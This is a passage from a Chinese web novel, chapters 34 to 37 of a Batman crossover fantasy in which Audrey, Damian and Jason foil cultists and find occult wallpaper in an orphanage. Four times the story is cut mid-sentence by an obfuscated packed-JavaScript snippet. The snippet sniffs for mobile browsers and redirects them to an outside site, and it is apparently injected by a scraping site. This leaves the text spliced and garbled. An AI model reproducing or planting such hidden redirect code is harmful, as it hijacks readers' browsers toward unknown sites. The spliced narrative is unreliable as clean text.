哈维最初想丢掉法槌，但在咒语念诵的过程中，他的神色逐渐变得迷茫而痛苦，仿佛他体内正在上演一场剧烈的意识争夺战。最后，他颓丧地低下头，再抬起头时，奥德莉又一次见到了他的第三个人格。 “这是科妮·拉特利奇法官刚刚签署的紧急禁令。”康斯坦丁忽然从藏身处走出，手中的手机显示屏上是一张清晰的图片，“禁止任何人进入或破坏哥谭法院旧址。” “哥谭警局刚刚逮捕了休伯特·约翰逊议员，罪名是受贿以及行为失当。”罗宾装扮的达米安也走出来，出示逮捕令的照片。 奥德莉宣布：“你们失去了合法依据。这座法庭已不适格，不再被承认！” 男人第一次露出真正的慌张神色，但他并不肯立即放弃，跪倒在紧闭双眼的法官哈维身前说：“永恒审判者，无言律法的化身，请您做出宣判。” 哈维在意识的深海中不断挣扎，用自己对公正和法律的信仰与乌尔塔尔的力量抗衡着。在广袤的黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311975|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗中，哈维仿佛看到一线光明，那是他在初任检察官时对哥谭许下的誓言。 不知过了多久，哈维缓缓睁开双眼，他微微一笑，紧紧握住手中的法槌，用力地敲在底座上。法槌表面浮现出纯白光芒，也许正是因为混杂了太多色彩，才显得如此洁白。 法官哈维用沉稳的声音说：“审判，在秩序中开始，也该在秩序中终结。” 随着法槌敲击的声音，墙面上的仪式符文如镜面般破碎，最后在空中扭曲成拉丁文字——“Judicium sub ordine”（审判在秩序之下）。 刚刚赶到的蝙蝠侠目睹了这一切，他低声说：“哈维，夺回自我。” 法官哈维对蝙蝠侠点头示意，再一次回到了他为自己划出的牢笼之中。法槌和底座重新变得微小，检察官哈维在它们落地前迅速地接住了。 “保险起见，我去找法官签署了一份紧急禁令。”蝙蝠侠说着，忍不住笑了笑，“谁能想到，对抗外神，竟然得靠这么人类的方式。谁说繁文缛节没有好处？” 达米安已经把七个束手就擒的教徒捆起来了，奥德莉把为首的男人扯到蝙蝠侠面前，告状说：“他打了哈维。”然后又伸出手给蝙蝠侠看，“还把我烫伤了。” “我知道了。”蝙蝠侠对上奥德莉期待的眼神，哭笑不得地说：“那你想怎么样？” 奥德莉说：“我想以牙还牙一下。” 蝙蝠侠瞪她一眼，转身不去看她。奥德莉心领神会，快速地给了男人一拳，然后一本正经地问：“拍卖会的临时举行，是不是与你们有关？” 男人完全不想回答，但看奥德莉蓄势待发，于是说：“是，我们给了店主些好处，她便答应了。” “收了钱却捣乱，店主真是奸商。”奥德莉嘀咕道。 “我以为你会感激她想帮你。”达米安说。 奥德莉伸出手示意达米安看自己的掌心，达米安马上改口：“无良商人，没有商业道德。”又问她：“疼吗？” “疼，我回去得冰敷一下。” “我去帮你。”达米安说。 “虽然乌尔塔尔被驱逐了，但我觉得还是有一些微弱影响溢出，得去提醒戈登局长一下。”围观的哈维好心地提议。“这些人就留给我吧，我和蝙蝠侠顺路把他们送过去。” 哥谭警局的天台上，铁三角聚首在蝙蝠灯边。 戈登局长问蝙蝠侠：“你做了什么？警局现在比周日的教堂还热闹。从一小时前开始，许多人前来自首，痛哭流涕地忏悔罪行。我很高兴哥谭人民的道德感提升，但小学时偷过一块橡皮这种事真的不必来告诉我们。” 蝙蝠侠说：“看来你要加班了。当然，检察官也得一起，免得案件堆积如山。”他有点调皮地瞟一眼哈维。 “我爱工作。”哈维将食指与中指并拢轻触额前，对蝙蝠侠敬礼致意后，潇洒转身朝楼下走去。 “我想下班。”戈登局长疲倦地说。他本以为烟花秀后，维持秩序的加班警员们都可以回家休息，结果现在人人忙得不可开交。 蝙蝠侠没回答。戈登局长毫不意外，都懒得回头去确认他已经消失了。 34.第 34 章 “我去食堂取一些冰块。”和奥德莉一起回到宿舍后，达米安不抱希望地打开冰箱看了一眼，提议道。 “不用。”奥德莉接了一杯水，轻点一下把它变成冰块。她伸手要去直接抓杯子，却被达米安拦住了，她便坐到椅子上，看他要做什么。 达米安去卫生间取来一条毛巾包住冰块，先查看奥德莉的掌心。他单膝跪地，用手轻轻托着她的手背，睫毛轻垂，神情郑重得仿佛在祈祷。 手心有一块红痕，看起来不像是会起泡，没什么大碍。他这才放心，将毛巾包着的冰块放在她的手上，安慰道：“明天就没事了。” “谢谢。”奥德莉任由他摆弄。她原本担心他会嘲笑自己夸大其词，却因他的认真态度而有些不好意思。 达米安半仰起头去看她，没有说话，也没有收回手。房间里安静得能听见两人轻浅的呼吸声。 奥德莉没话找话地说：“你想看看我今天拍到的东西吗？在书桌上。” 达米安依言走到桌旁，先拿起装着圣雅纳略的真血的水晶瓶，好奇地看了一会儿，然后说：“我有一支羽毛笔，笔尖是大马土革刀碎片制成的，下次带给你。” “那我就却之不恭了。”奥德莉说。 达米安又拿起玫瑰指针怀表研究了一会儿，只需奥德莉偶尔提点一句，他便掌握了用法。 窗外的月亮已经恢复了柔和的黄色光芒，奥德莉出神了一阵，说：“我还是想不通店主的目的。如果她不知道信徒们有办法找回法槌的话，那她的目的就是为了破坏仪式。她是对哥谭怀有恶意吗，还是单纯想报复信徒们？” “你对这位店主有什么了解吗？” “埃莉诺·奥里弗拉姆，是拍卖行创始人的不知道第几代子孙。她常年在世界各地举办拍卖会，拍卖行的名声不错。我只知道这些。” “所以她平时不在哥谭？” “对，她一年大概会来四五次，相对其它地方而言算是很频繁了。不知道为什么，哥谭很吸引研习无形之术的人前来居住。” “你说她给你留了一张字条？”达米安问。 “对，就是桌子上那张。” “我可以把它带走研究吗？” “当然。”奥德莉说。“我没看出它有什么特别，但蝙蝠侠……或是罗宾，一定能有所发现。” 达米安注意到她的临时改口，抿了抿嘴，将笑意藏起：“那我走了，晚安。” “晚安。” 月色如水，达米安从阳台灵巧地离开。 第二天中午，去食堂之前，奥德莉听见护士们说谜语人难得有位访客，她好奇地瞥一眼访客记录，埃莉诺·奥里弗拉姆的名字赫然在列。 奥德莉立刻问：“这位女士离开了吗？” “我在等你，是否能共进午餐？”一个优雅女声自身后响起，奥德莉回头一看，正是奥里弗拉姆拍卖行的店主埃莉诺。 “你长得很像她。”埃莉诺看着奥德莉，却好似在透过她看另外一个人。 “您认识我的姑祖母？”奥德莉敏锐地察觉到她指的是谁。 “是的，我和阿塞纳丝是多年至交，她就像我的姐妹一样。”埃莉诺露出怀念的微笑，“你的性子也和她一样，都是雷厉风行的作派。” 在食堂的角落坐下后，埃莉诺解释了自己今日来访的目的：“爱德华是一位朋友的后人，我写信请他帮忙警示你，但他应该是没办明白。所以我今天来批评他几句，也想见见你。” 爱德华·尼格玛，即谜语人，喜好猜谜、拼图和文字游戏，在犯罪时总会留下谜题预告自己的行动。 “您想请他警示什么？乌尔塔尔的信徒吗？” “他们自称为‘无名奉献者’。他们花重金找我帮忙，这种不义之财我当然要赚，但你在哥谭实习，我可不希望有人在这期间惹出事端。所以我把法槌交给你，没想到你跑去直接正面交锋。”埃莉诺说着抱怨的话，嘴角却含着笑。“唉，我早该想到你也是这样的脾气。” “谜语人这个坏家伙，根本没和我说什么啊。”奥德莉想了想，“好像他是说了句什么‘你会看到盛开的美丽，但那只是开始。’这个算警示吗？但他说话一直是神神叨叨的，我已经学会自动无视那些了……” “他说他调整了花园里花朵的状态，让它们由含苞待放变成怒放，说任何有脑子的人都能看懂其中意味。”埃莉诺转述谜语人的疯言疯语。 “我记住你了，谜语人。”奥德莉恼怒道。这家伙竟然敢说她没有脑子。 “这是我的私人电话。”埃莉诺将一张名片递给奥德莉，上面只印有名字和电话。“你需要任何东西，随时联系我，我会帮你留意。” “谢谢您。”奥德莉仔细收好名片。“我没有见过姑祖母，您能给我讲讲她吗？” “你在密大的时候，应该已经听说过一些了吧？”埃莉诺说。“那些大部分都是真的，她在那个年代可算得上是相当的离经叛道。” “我听说她是密大第一位女学生。” “没错，那个时候美国的大学刚刚开始招收女生，她便申请了。维特这个姓氏很有名，据说你们的祖先中混入了外神的血脉。” “您的意思是说，我难道也……”奥德莉震惊。难道她不是纯种人类吗？ “这只是个传说，很多家族为了宣扬自己，都会努力和一位外神扯上关系。即便是真的，这么多代之后也已经非常稀薄了。”埃莉诺说。 “那她也是一位调查员吗？为什么我在密大图书馆里没有找到她的笔记？” “因为你还没准备好。”埃莉诺说。“她见了太多、走得太远，那些记录不适合太年轻的学生阅读。密大划分借阅权限，正是为了保护学生的安全。” 离开食堂前，奥德莉去后厨要了一只洋葱。大厨好心地问她是否需要帮忙切开放进沙拉，奥德莉笑着拒绝了。 当天晚上，谜语人在枕头上看到一张字条：“我是无辜的，却总让人哭泣。我是谁？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323924|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他拿起纸条，枕头里的洋葱瞬间爆开，谜语人默默流下眼泪。 “我今天做了一件众望所归的好事。”奥德莉把自己的恶作剧讲给达米安听，又叮嘱一句：“不许告诉蝙蝠侠。”她还是很在意自己在偶像心中的形象的。 “好，我不告诉他。”达米安瞥了一眼假装没听见的蝙蝠侠，坏心眼地没有提醒奥德莉。这是他的夜巡波段，蝙蝠侠也在频道上。 “她说和我的姑祖母是朋友，所以在暗中照看我。”奥德莉说。“但谜语人的不靠谱程度超乎她的想象。” “关于无名奉献者这个组织，她还有什么其它信息吗？” “她说这只是一个不足为虑的小团体，历史长河里这样昙花一现的狂信徒组织太多了，许多甚至还没来得及完成召唤，就内讧灭亡了。”奥德莉说。 “但愿如此。”达米安说。 “无名奉献者在阿卡姆可能有内应，不知道是收钱办事的还是他们的信徒之一。”奥德莉又想到把书送到哈维面前的人。“但可能没机会查出来了。” “如果将来我知道了答案，立刻告诉你。”达米安说。“手还疼吗？” “早上就已经好啦。” “周末有安排吗？” “周日还没有。”奥德莉说。 “那一起吃饭？” “好。” 通话结束后，蝙蝠侠看看达米安，达米安无辜回望。两人分别站在相邻的两只滴水兽上，从远处望去像两个沉默的黑影。 “如果便士一在这里，他一定会说，你刚才的表情和我年轻时很像。”蝙蝠侠说。 如果奥德莉听见这句话，她会对蝙蝠侠和韦恩先生更加疯狂地造谣。达米安冒出的第一个念头竟然是这个，他觉得自己的精神已经被污染了。 “我是你的亲生儿子，和你不像才不正常。”达米安当然知道父亲的意思，但他不想正面回答。 “你的生日快到了。”蝙蝠侠说。“有什么计划吗？” “和往年一样，没有。” “阿福会为你准备蛋糕的，你不想和朋友分享吗？” “小乔和绿灯侠去外星系了，八月二日他还没回来。” “你知道我说的是谁。”蝙蝠侠没有放弃。 “她的实习在七月底结束。她说要回纽约。” “那是因为她不知道你的生日。你可以邀请她试试。她来哥谭不花什么时间，或者你也可以去纽约找她。” 达米安沉默了一会儿，说：“如果我邀请，她会答应的。但我不希望她是因为我要求了所以答应。” 这句话说得很别扭，但蝙蝠侠听懂了。他忍不住微笑起来：“但你总得先让她知道你的生日是哪一天，她才能主动提出来啊。” “我应该怎么自然地说出来？嗨，我知道你的生日是十二月一日，想知道我的吗？” 蝙蝠侠这次笑出了声，惹来达米安的怒瞪。 “你会想出办法的，我相信你。” 35.第 35 章 周日早上，奥德莉和达米安一起吃了饭，又艺高人胆大地去逛老城区。 老城区的砖石路歪歪扭扭，晨间刚下过雨，地面还泛着湿漉漉的光。达米安领路，两人七弯八拐地走到不知何处。达米安忽然停住脚步，说：“你看。” 顺着他的手指，奥德莉看到几栋熟悉的建筑：“我们刚到维多利亚世界时，你就是根据它们判断出我们在哥谭的。” 达米安点点头：“在哥谭最初建立时，老城区曾是它的起点与根基，但现在只剩下老旧街巷和剥落的墙漆。中产阶级也都纷纷搬离，留下的都是无处可去之人。” “你对哥谭真的好熟悉，”奥德莉感慨，“是不是任何一个角落你都能认出来。” “基本上是。”达米安从不做无谓的谦虚。 两人又逛了一会儿，期间奥德莉打跑几个无知无畏的小混混，达米安想参战却被她叫停，只能在旁边做实时指导。直到奥德莉喊累，两人才一起回阿卡姆。 达米安把羽毛笔带来了，还附赠一个精致的水晶墨水瓶。“这个瓶子方便蘸笔，”他解释说。 “谢谢。”奥德莉拿出羊皮卷，在桌上铺开。“我不会写这种语言，就写英语吧。” 【午之石，狂怒银片，晚上九时，敬拜蚁母。成功。到达二百余年之前的异世界，A和D。】 “你把我也写上去了？”达米安一怔。 “是呀，我们一起去的嘛。而且羊皮卷的翻译是你一力完成的。”奥德莉说完，自以为理解了他的担忧，安慰道：“只是个代号，不会泄露你的身份的。” “如果几百年后有人看到这个，”达米安低声说，“他们就会知道，我们曾一同前行。” “对呀。”奥德莉很满意自己的灵光一现。“几百年后，当别人读到我留下的调查员笔记时，不但会被我的奇遇震撼，还会发现我有一个很厉害的同伴哦。” “谢谢。”达米安伸手轻轻碰触新增加的那一行字的末尾。字迹已经干了，但他仍很小心，生怕弄花了它们。 奥德莉又把乐高世界记下，再一次以“A和D”结尾。她收拾好笔墨，对达米安说：“我也有一个礼物要送给你。” 达米安一脸期待地坐在桌前，绿眼睛一眨不眨地跟着她的身影移动。奥德莉把包装好的礼物盒递过去：“如果不是认识了拍卖行的店主埃莉诺，不知道要什么时候才能买到这个呢。” 达米安小心地拆开包装纸，取出丝绒盒子，咔哒一声打开。一枚小巧的吊坠躺在盒中，它的中心是一块半透明的蓝紫色石头，内部浮动着像星星一样缓缓旋转的光点，石头外面被一圈金色金属包围，金属上刻有达米安看不懂的咒文纹路。 “这是低语之石。”见达米安怔忪，奥德莉为他做出说明。“它对精神感染极敏感，一旦周围存在被旧日支配者或外神意识波动干扰的情况，它就会升温并发出低语，保护你的理智。” “这一定很珍贵吧？”达米安问。 “它的使用者必须是不会魔法的人，所以大家通常都是买来送给亲友的。虽然来哥谭时间很短，但我觉得哥谭危机四伏，很可能再有什么外神的信徒冒出来。” “谢谢你。”达米安认真地说，“我会像保护我的刀一样保护它。” “更重要的是你能保护好自己。”奥德莉强调，让达米安搞清楚优先级。 “八月二日那天，你有什么安排吗？”达米安忽然没头没尾地问。 “大概是在纽约享受暑假吧。怎么了？” “你愿意把那一天的时间留给我吗？” “如果你希望的话，当然可以。有什么事情吗？”奥德莉没有犹豫，只是随口问了一句原因。 “到时候再告诉你。”达米安说。 “好吧。”奥德莉拿出手机在日历上标注“留给达米安的一天”，然后催促达米安：“你也记下来。” 达米安说：“我不会忘的。”但也和她一样，在日历上标注“奥德莉留给我的一天”。 “像小学生计划春游。”奥德莉假模假样地抱怨，但是却忍不住笑。 达米安瞥见屋角多了一台木制画架，问道：“忽然开始对画画有兴趣了吗？” “埃莉诺说我可以在她那里寄卖画作。很多调查员都这么做，这是一笔轻松的外快。”尽管说着“轻松”，奥德莉的表情却苦大仇深。 “那你开始画了吗？”达米安没有看到任何画作，但被丢在一旁的调色盘上有残余的颜料，似乎作画者情绪不佳，懒得收拾。 “我……画了两幅。”奥德莉叹息。 绘画曾经是密大必修课，因为除了以文字记录外，调查员也经常需要在笔记本里做一些速写。但随着科技发展，人们可以随时用手机拍摄高清图片，这一技能便显得没那么必要了。但教授们还是会建议学生勤加练习，因为有些神秘景象是相机无法捕捉的。 除了职业需要之外，在照相机不算普及的年代，调查员们对绘画的热情还来自于其带来的利润。掺杂了想象、激情、秘氛或邪名的作品总是很受欢迎，虽然相应的也有被防剿局发现的风险。 奥德莉对自己的水平很有自知之明。就算是她真的一度觉得自己水平尚可，她的模特布莱克也已经让她清醒了。 在听说奥德莉想进行绘画创作后，维斯勒医生很支持，还把自己的画具借给她。奥德莉想到的第一个题材是给布莱克画肖像画，布莱克激动得不得了，把毛认真舔了一遍，力求达到最上镜的状态。 为了显示出自己身姿灵动，布莱克设计了小猫扑蝶的姿势，很快为此后悔不已，因为它不得不保持这个动作长达三小时。 在布莱克听到奥德莉说出“画完了”三个字时，激动得原地一跳，急急忙忙去看自己的画像，然后支支吾吾地不知道该怎么夸。 “挺……挺好看的。”布莱克说着，大颗大颗的眼泪掉下来，“我在你眼里就是这样的一个小黑点吗？” 布莱克喵呜喵呜地哭个不停，奥德莉急忙解释：“这怎么是小黑点呢，明明是五彩斑斓的黑。而且你看这一抹绿，就是你的双眼呀。” 这话完全起不到安慰作用，眼看布莱克要水淹阿卡姆，奥德莉只好老老实实地承认自己画技不行，没有画出它万分之一的可爱。 第一次失败之后，奥德莉没有气馁，跑到小花园里去画风景。布莱克抽抽噎噎，还是跟着去了，围观她创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330527|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作第二幅大作。 这一次的发展更加惨淡。毒藤女从楼上俯瞰到她在写生，好奇下来围观，她强忍了十分钟，最后说：“我第一次这么感谢阿卡姆把植物换成了假的。我可不能容忍你这么对待我的小宝贝们。” 奥德莉气急败坏，但还是坚持画完了才收起画板离开，带着不在乎他人眼光的艺术家心态。 如果非得给乌云找个金边的话，那就是布莱克在看到第二幅画和第一幅丑得各有千秋、不分伯仲之后，心情好了点。 奥德莉将两幅作品的照片发给埃莉诺，对方隔了好一阵子才回复：“如果是一百年前，肯定会有密教教徒为了这种深刻的精神污染而购买。但现在的客户都比较挑剔，希望画本身也有一定艺术性。” 达米安听奥德莉讲完，十分好奇：“画还在吗？我很想看看。” “你确定吗？”奥德莉从卧室柜子里取出一张被她塞进角落的画，立到画架上让达米安欣赏，还叮嘱他后退三步才是最佳观赏位置。 “伟大的极简主义，你用单一色块去建构视觉焦点，像极了俄罗斯前卫艺术家马列维奇的《黑方块》。我能看出你在对传统透视进行挑战——你在反问：‘我们真的需要猫的形状吗？’”达米安故意棒读道。 “达米安！我看到你用藏在身后的手机查ChatGPT了！”奥德莉佯怒道，“让我看看你的关键词——‘如何夸奖像个小黑点的黑猫画作’。” 如果达米安不想的话，奥德莉是不可能抢到他的手机的，两个人都心知肚明。 “第二幅呢？也拿来看看嘛。”达米安说。 奥德莉破罐子破摔地把第二幅画也拿出来，等着达米安发言。 “完了，ChatGPT死机了，说它崩溃了。”达米安一本正经地说。 “哼，算它识货，这幅画我加入了双倍的密氛。”奥德莉不肯让他得逞，完全不因此生气。“算了算了，本来也只是试试看。我还是先从素描练起吧，油画太难了。” “我可以帮你把它们卖掉。”达米安积极地说。 “感觉你在打什么坏主意。”奥德莉瞥他。 “我觉得这种艺术作品，正适合冰山赌场。”达米安说。 “我确定你是在打坏主意。”奥德莉把两张画塞到达米安怀里。“快拿走吧，我不想再看到它们了。” “不过我先确认一下，它们不会对人有害吧？你刚才说的精神污染什么的。”达米安对红头罩还是有兄弟情的。 “不会。知道寄卖不出去，我就打算把它们丢掉，所以已经处理过表面了。”奥德莉心痛地说。“我用了好几种珍稀颜料的。” “我会让赌场老板付个好价钱的。”达米安说。 “罗宾，你不要知法犯法啊。”奥德莉大惊，“你是要去强买强卖吗？” “当然不会。”达米安哭笑不得。“只是那位老板审美独特，我想他会欣赏的。” 想到那些冰雕，奥德莉表示认同。 “而且，”达米安“啧”了一声，“他不能只进不出吧。” 红头罩：自从三五不时地从蝙蝠洞为自己补充武器库存之后，商业成本进一步降低了。不差钱。 36.第 36 章 杰森·陶德，aka红头罩，对着奥德莉的画赞不绝口。 达米安反复打量杰森，怀疑他有什么阴谋，或者是急需看看脑子。 杰森真心实意地说：“线条像是乱画的，但每一笔都落在某种奇怪的韵律上。它在牵引注意力……又在干扰判断。” “线条？你怎么从其中看出线条的？”达米安看看杰森，又看看画，猜测杰森或许有一些魔法天赋，或者是无形之术天赋，总归是神秘侧的。“那你说说这两幅画的是什么？” “这幅是哥谭夜景，这幅是芭蕾舞女。”杰森毫不犹豫地说。“太传神了，形似神更似。” “你真是画家的知音。”达米安作出诊断，红头罩是脑子不好使。他就知道全包裹式面罩容易引起缺氧进而导致智商降低。 同情归同情，交易是交易。达米安拍拍杰森的肩膀，说：“付钱吧。” 杰森很爽快地拿出一沓现金，说：“周三晚上我在犯罪巷旁边的儿童福利院做志愿者，你和奥德莉要不要一起来？” “为什么忽然邀请我？” “是邀请你们。”杰森强调。 “好吧，我问问她。具体内容是什么？” “那里的孩子最大的十岁左右，最小的两三岁。志愿者们陪他们吃饭，玩游戏，给他们讲故事，回答他们天马行空的问题。我偶尔也会教大一些的孩子防身术。” “你在那里的化名是什么？” “杰·莱德（Jay Redd），汽车修理工。” “周三晚上？好呀，我买点甜品带过去。”奥德莉很爽快地答应了。下班后，她买了几打杯子蛋糕外加一个巨大的苹果派。 “孩子们要高兴疯了。”杰森接过奥德莉手里的甜品，放在墙边的长桌上。 “谢谢你邀请我，杰。”奥德莉说，视线四处搜寻达米安。达米安说会提前些到，此刻却不见人影。 “约翰在画画时打翻了果汁，他带约翰换衣服去了。”无需提问，杰森已经主动回答。 “画画吗？”奥德莉眼里冒出期待，“我最近在学简笔画，可以教他们。” 达米安牵着一个小男孩的手出现，后者高高兴兴地继续去画画了。奥德莉问：“有什么我能做的吗？我可以教……陪他们画画。” 达米安装模作样地犹豫：“你确定吗？如果被童言无忌的评价气哭，我可不能帮你殴打小朋友啊。” 奥德莉故意给达米安一个大大的白眼，然后去陪孩子们画画了。杰森站在不远处，深觉自己真是智慧过人——既为孤儿院拉来人手，还可以现场围观达米安用最酷的表情说最无聊的傻话。 “你的注意力有一半不在我这里。”杰森在指挥达米安做事时，犀利地指出他有一半的注意力在奥德莉那边。 “给你一半已经够多了。”达米安冷酷地说。“你是这里的小朋友吗，我是来为他们做志愿者还是为你的？” 杰森被气得噎了一下。 “哇，艾米丽，你画的蝴蝶真漂亮。我们一起来为它涂色吧。”奥德莉被小朋友的绘画水平惊呆了。这只浅黄色的蝴蝶栩栩如生，再加上些花纹一定更像真的。 “姐姐，这是一只蛾，不是蝴蝶。”艾米丽认真地说。 “哦，抱歉，是我看错了。”奥德莉立刻承认错误。“但……蛾子是黄色的吗？” “飞蛾是灰色的。”艾米丽解释，“这是它在辉光下的样子。” 奥德莉不确定艾米丽为什么会用“辉光”这个口语中不太常见的词。小朋友们偶尔会乱用自己不知道在哪里学到的词语，尤其是那些听起来很高大上的。但这个词在密教中有特殊的含义。 辉光是梦境与现实之间的裂隙，是诱引之光，也是毁灭之焰。侍奉蛾之准则的荒林俱乐部追寻的终点便是与辉光融为一体，以自我焚毁作为蜕变仪式的结尾。这个社团在数十年前转入地下，普遍观点认为它已经走得太偏了。 奥德莉的怒火被点燃了。如果有人胆敢在儿童福利院传教，她一定要砍下那人的狗头。但她也担心是自己过于警惕，不想吓到小朋友们，便温言道：“你是在哪里见到这种飞蛾的？” “在做梦的时候。”六岁的艾米丽回答得清晰又肯定。“我们都梦到了。” “你们是谁呀？”奥德莉的心沉了下去。 “我，约翰，阿曼达，还有艾伦。” 奥德莉默默记下这些名字，又问：“你经常梦见飞蛾吗？” “从去年圣诞节开始，大概每周都会梦到。” “梦里的飞蛾在做什么呢？” “好像什么也没做，就只是在月亮下面飞，它飞得很慢。也许它只是停在那里。” “难怪你画得这么好。还想画点别的吗？”奥德莉问。 艾米丽摇摇头，又拿了一张纸，再一次开始画飞蛾。 奥德莉觉得自己脑中几乎要听到嗡鸣声了。幸好这时达米安和杰帮着老师们端来晚餐，孩子们都丢下手中的玩具，排队洗手等着吃饭。 这一晚的其它时间都很正常。达米安和杰森非常受孩子欢迎，可能因为他们在对待孩子的时候不自觉地模仿了蝙蝠侠的做法。他们曾被温柔以待，在耳濡目染中学会了，继而将这种温柔传递给他人。 听起来很不可思议，但蝙蝠侠确实非常受哥谭孩子的欢迎。不只因为他是这座城市的英雄，以及万能腰带里总有糖果，还因为他会耐心地蹲下听孩子说话，擦干他们的泪水，温柔又坚定地鼓励和引导他们。任何一个见过蝙蝠侠单膝跪地拥抱孩童的人都会意识到他有一颗多么温暖的心。 临走前，奥德莉悄悄把达米安带到孩子们的画作旁，把自己的疑虑讲给他听。 画飞蛾只能算是爱好比较独特，但几个小朋友们一起做同样的梦，这就绝对不正常了。达米安当即找来杰森。 “×&%￥#@××”杰森没忍住骂了一串 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336444|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常本地化的脏话。死而复生后，他暗中出资设立了这家福利院，空闲时常来帮忙。这里距离他年幼时混迹的犯罪巷不远，看到这些孩子就好像看到他自己。 冷静下来后，杰森确认了一遍艾米丽提到的名字，然后说：“这四个孩子都是六岁。” “会是小伙伴们为了有共同话题而故意附和吗？比如一个孩子先说起来，其他人只是响应。”奥德莉带着侥幸心理说。 “这四个孩子没有过矛盾，但各自都有更玩得来的朋友。”杰森说。 “如果是这样的话，我觉得值得调查一下。”奥德莉叹气，不得不面对现实。“你能带我们四处看看么？” “这栋建筑是韦恩集团赞助的，以很便宜的价格租给福利院。”杰森领着他们看了平平无奇的一楼和二楼，又带他们看了朴实无华的地下室。“不算历史建筑，就是很普通的一座陈旧的砖石小楼。” “这种长走廊放在电影里通常预示着什么。”奥德莉小声嘀咕，“我现在心情很糟糕，如果有恶灵现身，它一定会后悔不已。” “阁楼还有一间储藏室，不过大家平时很少去。”杰森忽然想起还有一处没去查看。 储藏室门刚打开，一股潮湿的霉味就散发出来。杰森担忧地看向屋顶，“不会是有哪里渗水了吧。我明天得检查一下。” 房间里堆着十几个塑料箱和纸箱，上面有手写的便条标注内容，多是偶尔才会用到的节日装饰，以及一些不太常用的杂物。 墙纸已经斑驳脱落了，奥德莉以手机照明，靠近仔细查看露出的地方。 “你发现了什么问题吗？”达米安低声问。 “还不确定。你觉得杰会同意我把墙纸全拆下来吗？还是会觉得我是神经病？”奥德莉也压低声音。 “他会理解的，他……思想的包容度很高。”达米安回答，然后直接对杰森说：“杰，把墙纸拆了。” 杰森立刻利落地动手，奥德莉看得呆了。“他什么都不问？” “他相信我不会在这种事情上开玩笑。”达米安很平常地说，一边拆另一面墙。 三人合力，很快将最上面的一层墙纸去除，露出下面泛黄的另一层墙纸。除了隐约的飞蛾图案外，上面还写着大段的诡异文字。 “这是伐诃语。” 奥德莉说。伐诃自称是进入秘密之光的唯一入口，祂借人类之梦传授了这种语言。 奥德莉露出全美中学生在拉丁文课上最常见的表情——绞尽脑汁回忆这些眼熟的见鬼字母到底是什么意思。 达米安和杰森不去打扰她，小声谈论墙纸的制作年代。“这种对称图案流行于上个世纪20年代，看陈旧程度倒也符合。”达米安说。 “我记得四五年前院长提过他们新贴了阁楼的墙纸，但没想到他们偷懒，没有先把旧的去掉。”杰森有点不满。 “幸好没有去掉。”奥德莉忽然激动地说，“这可能是《旋火密续》。” 37.第 37 章 奥德莉对自己的发现非常意外，立刻拍下数十张照片。“我需要立刻联系学校图书馆。这本书很著名，部分原因是它的唯一抄本在十九世纪末期失窃。大英图书馆丢过很多书，这倒并不奇怪。珍贵的是书的内容——根据其他人的笔记来看，这本书讲的是一位司辰回应了信徒的祈祷，并帮助信徒勒索其他神灵以获得战争的胜利。” “勒索神灵？”达米安几乎以为自己听错了。“司辰也算是神灵吧？那这是帮着外人勒索同事？” “更像是帮着下属勒索竞争对手。”奥德莉解释。“司辰之间的关系，即便是相对友好的那些，也是很微妙的。” “真是复杂的关系。”杰森感慨。自从在刺客联盟得到大种姓之刃，他偶尔会与神秘学产生交集，只是他始终在犹豫是否要走得更远。 回到哥谭之后，他惯用的武器是两把大口径手枪。这种选择本身已经昭示了他与蝙蝠侠的分歧。无论推手是小丑还是命运，他已经走上了一条未曾设想过的道路。在他说“这是我生命中最美好的一天时”，他能想象到的未来只有作为罗宾的那一种。 魔法侧是一条更加充满迷雾的道路。尽管从未后悔过自己的选择，但偶尔，只是偶尔，他仍然会凝视着哥谭的夜空，思索自己的道路最终将走向何处。 